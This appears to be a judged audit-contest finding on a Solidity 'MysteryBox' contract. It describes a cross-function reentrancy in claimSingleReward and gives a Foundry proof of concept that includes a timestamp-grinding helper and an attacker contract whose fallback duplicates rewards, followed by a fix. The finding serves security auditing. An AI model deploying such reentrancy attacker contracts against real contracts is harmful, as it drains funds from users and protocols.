Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Cross function reentrancy attack in `MysteryBox::claimSingleReward` and `MysteryBox::transferReward` allows User/Player with non zero value reward to withdraw and transfer the reward

cryptekmegatron

Summary

The MysteryBox::claimSingleReward function does not adhere to the CEI/FREI-PI principle, allowing any user with a non-zero value reward to potentially drain the contract balance. The function first makes an external call to msg.sender and only updates the rewardsOwned array afterward.

Vulnerability Details

In the claimSingleReward function, after validating the reward's existence, an external call is made to transfer the reward value to the user. This design can be exploited by attackers to copy their rewards to an arbitrary address through a fallback or receive function.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender][_index];
}

An attacker with a non-zero reward, such as a "Bronze Coin," could manipulate the contract to call MysteryBox::transferReward, allowing them to duplicate rewards.

Impact

The vulnerability allows an attacker to copy a non-zero reward to an arbitrary address and withdraw it, resulting in potential financial loss for the contract.

Proof of Concept

  1. Users buy boxes.

  2. An attacker sets up a contract with a fallback function that invokes MysteryBox::transferReward.

  3. The attacker buys a box, opens it, and receives a non-zero reward (which can be guaranteed by manipulating MysteryBox::openBox).

  4. The attacker calls MysteryBox::transferReward from their contract, duplicating the reward to another address while withdrawing the reward value.

Proof of Code

Add the following code to the TestMysteryBoxTest.t.sol file within the MysteryBoxTest contract:

// @notice Function to calculate which block timestamp to open a box on to guarantee a non-zero value reward
// @param addr: address to get the reward
function calculateWinTimestampValue(address addr) public view returns (uint256) {
uint256 value;
uint256 winTime = block.timestamp;
do {
winTime++;
value = uint256(keccak256(abi.encodePacked(winTime, addr))) % 100;
} while (value < 95);
​
return winTime;
}
​
function testCrossReentrancy() public {
address receiver = makeAddr("receiver");
CrossReentrancyAttackerSender attacker = new CrossReentrancyAttackerSender(address(mysteryBox), receiver);
uint256 boxPrice = mysteryBox.boxPrice();
vm.deal(address(attacker), boxPrice);
uint256 winningTimestamp = calculateWinTimestampValue(address(attacker));
vm.warp(winningTimestamp);
uint256 startingContractBalance = address(mysteryBox).balance;
attacker.attack();
​
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(mysteryBox).balance;
uint256 rewardValue = attacker.rewardValue();
​
uint256 totalMysteryBoxValue = startingContractBalance + boxPrice;
​
vm.prank(receiver);
uint256 receiverRewards = mysteryBox.getRewards().length;
​
assertEq(endingAttackerBalance, rewardValue);
assertEq(endingContractBalance, totalMysteryBoxValue - rewardValue);
assertEq(receiverRewards, 1);
}

Add the following code to the TestMysteryBoxTest.t.sol file:

contract CrossReentrancyAttackerSender {
MysteryBox public mysteryBox;
address toAddr;
uint256 public rewardValue;
uint256 public boxPrice;
constructor (address _mysteryBox, address _toAddr) {
mysteryBox = MysteryBox(_mysteryBox);
boxPrice = mysteryBox.boxPrice();
toAddr = _toAddr;
}
​
function attack() external payable {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
rewardValue = mysteryBox.getRewards()[0].value;
mysteryBox.claimSingleReward(0);
}
​
receive() external payable {
mysteryBox.transferReward(toAddr, 0);
}
​
fallback() external payable {
mysteryBox.transferReward(toAddr, 0);
}
}

Recommended Mitigation

To mitigate this issue, the MysteryBox::claimSingleReward function should update the rewardsOwned array before making any external calls, as illustrated below:

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
- delete rewardsOwned[msg.sender][_index];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!